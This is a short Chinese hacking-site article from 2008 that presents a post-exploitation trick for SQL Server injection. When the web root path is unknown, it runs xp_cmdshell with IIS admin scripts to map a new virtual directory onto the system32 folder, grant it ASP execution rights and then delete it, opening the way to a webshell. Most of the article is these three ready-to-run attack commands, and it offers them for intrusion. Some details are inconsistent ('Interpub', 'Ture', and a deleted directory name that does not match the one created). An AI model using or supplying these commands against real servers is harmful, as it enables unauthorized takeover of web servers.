无法获得Web绝对路径又一入侵方法
作者：未知 文章来源：本站整理 点击数： 更新时间：2008-6-7 ★★★
|
|
我们很多情况下都遇到SQL注入可以列目录和运行命 令，但是却很不容易找到web所在目录，也就不好得到一个webshell，这一招不错：
exec master.dbo.xp_cmdshell ’cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"’
建立虚拟目录win,指向c:\windows\system32
exec master.dbo.xp_cmdshell ’cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture’
让win句有解析asp脚本权 限
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
删除虚拟目录。
找不到web绝对路径的一种解决办法! |
| 『关闭该页』 『打印该页』 |
|
|
|
|
加入会员咨询QQ:66647470 合作QQ:197430910 投稿:66647470 mail:85soft#163.com(#改@)版权：2003-2008HACK52.COM 集中营宣言： 普及黑客安全意识!打造顶尖黑客安全资讯网!
浙ICP备06050453号
|
